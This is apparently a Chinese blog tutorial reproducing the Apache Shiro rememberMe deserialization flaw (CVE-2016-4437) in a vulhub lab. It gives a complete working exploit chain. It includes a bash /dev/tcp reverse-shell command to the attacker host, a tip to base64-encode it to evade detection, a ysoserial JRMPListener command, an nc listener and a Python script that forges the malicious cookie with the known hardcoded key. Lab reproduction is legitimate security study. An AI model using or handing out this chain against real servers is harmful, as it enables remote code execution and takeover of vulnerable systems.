赞
踩
目录
Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。借助Shiro易于理解的API,用户可以快速轻松地保护任何应用程序----从最小的移动应用程序到最大的web和企业应用程序。
Apache Shiro框架在执行身份验证时提供了记住密码的功能(RememberMe),如果用户登录时勾选了这个选项,用户的请求数据包就会在Cookie字段中多出一段数据,这一段数据包含了加密后的用户信息,加密过程:用户信息=>序列化=>AES加密(密钥)=>base64编码=>添加到RememberMe Cookie字段。
勾选记住密码后,下次登录时,服务端进行对客户端的请求包的Cookie字段进行身份验证,无需登录即可访问,验证过程就是对RememberMe值先进行base64解码=>AES解密(密钥)=>反序列化。
这里出现问题的点就在于,如果攻击者知道了AES加密的密钥,那么攻击者就可以把用户信息替换成恶意代码,这样在服务端对Cookie进行解密的时候就会造成反序列化漏洞。在Shiro<=1.2.24版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==;在后续的版本中,这个密钥也有可能会被爆破出来,从而被攻击者利用。
靶机:Centos 192.168.15.230
攻击机:kali 192.168.15.249
这里用vulhub搭建靶场:用Centos搭建好vulhub靶场,然后进入对应目录开启靶场环境
- cd /vulhub/shiro/CVE-2016-4437
- docker-compose up -d
查看一下靶场端口,8080端口
docker-compose ps
访问浏览器http://ip:8080
进行漏洞复现之前,要先确定漏洞是否存在。
首先登录页面判断了是否使用了Shiro框架进行身份验证,判断方法可以查看请求包中是否有RememberMe字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。
类似这种:
这里确认了存在Shiro框架的身份验证,对于是否存在漏洞还需要看攻击者是否可以获得AES加解密的密钥,如果检测到Shiro<=1.2.24版本的,那这个漏洞是存在的(因为密钥已知)。
可以用工具来检测是否可以爆破密钥,比如ShiroExploit等工具,以下是工具链接:
GitHub - feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具,支持多种回显方式
直接下载ShiroExploit.v2.51.7z是可视化页面
下载后使用命令即可使用
java -jar ShiroExploit.jar
在图形化界面的目标地址中输入待测URL或者使用数据包都可以,然后点击使用回显进行漏洞检测,开始检测,结果如下
如果存在漏洞,输入框是可以输入的状态,并且回显了Shiro的密钥;如果不存在漏洞会弹出提示框。
也可以使用脚本进行检测和爆破,比如一个python2的脚本shiro_exploit.py,脚本下载地址:
GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具
下载后直接用python2执行就可以了(-u指定目标URL,-p指定执行命令)
python2 shiro_exploit.py -u http://192.168.15.230:8080
如果脚本报如下的错:
那就直接用python3执行
爆破成功可能会比较长时间,稍微等待几分钟,最终爆破成功显示如下:
爆破出密钥,证明漏洞存在。
1、首先在攻击机上搭建VPS服务(虚拟专用服务器)
反弹shell的命令:
bash -i >& /dev/tcp/192.168.15.249/4444 0>&1
当命令包含一些关键符号时,如重定向`<>`等,最好进行base64编码以便绕过检测。在网上随便搜搜在线base64编码都可以实现:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=
接下来使用序列化工具ysoserial生成payload(这个工具我在Java反序列化漏洞那里有提到),命令如下:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjI0OS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
这里大概先在公网vps上用ysoserial开启了一个恶意的JRMPListener,监听7777端口,并指定使用CommonsCollection5模块,生成了序列化的执行命令文件,当目标服务器访问搭建的这个JRMP时就会反序列化恶意文件然后执行命令反弹一个shell。
JRMP是Java远程方法调用协议,用于实现分布式对象通信的一种协议。JRMP是RMI中的默认协议,允许在不同的JVM之间进行对象的远程调用。
2、在攻击机上开启nc监听
这里要注意这个监听端口跟反弹shell的监听端口一致
nc -lvnp 4444
3、生成AES加密后base64编码后的RememberMe字段
现在已经搭建好有恶意代码的服务器,就只等目标服务器访问搭建的VPS服务了。
我们利用脚本生成AES加密base64编码后的RememberMe字段,脚本代码如下:
- #shrio.py
- #author:Bossfrank
-
- import sys
- import uuid
- import base64
- import subprocess
- from Crypto.Cipher import AES
-
-
- def encode_rememberme(command):
- popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
- BS = AES.block_size
- pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
- key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
- iv = uuid.uuid4().bytes
- encryptor = AES.new(key, AES.MODE_CBC, iv)
- file_body = pad(popen.stdout.read())
- base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
- return base64_ciphertext
这个脚本要放在跟ysoserial.all-jar同一目录下,如果不是,请自行更改popen参数;参数key包含的是密钥,如果不是此密钥,请自行更换。
用python3运行:(如果用python2运行可能会报错显示Crypto包不存在,也可以自行查阅解决很简单)
python3 shiro.py 192.168.15.249:7777
4、更改请求包的RememberMe字段,发送请求包,访问VPS服务器
kali攻击机收到反弹shell:
总结一下整个复现的流程:
对于被攻击者服务器,它首先接收数据包,对带有恶意代码的RememberMe字段进行了base64解码然后AES解密,发现要与一个VPS的JRMP的7777端口通信,随后去向这个端口进行请求,接收到了存储在JRMP的序列化后的恶意代码,之后它就会对这个代码进行反序列化最后执行了恶意代码,造成反序列化漏洞。
对于攻击者来说,要实现这个攻击,需要搭建VPS进行JRMPListener,然后序列化的存放恶意代码,以及将上面的JRMPListener地址进行AES加密和base64编码构造RememberMe字段,然后向目标服务器发送数据包。
利用上面所说的工具来进行复现:
java -jar ShiroExploit.jar
扫描之后如果存在漏洞,就可以执行命令:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。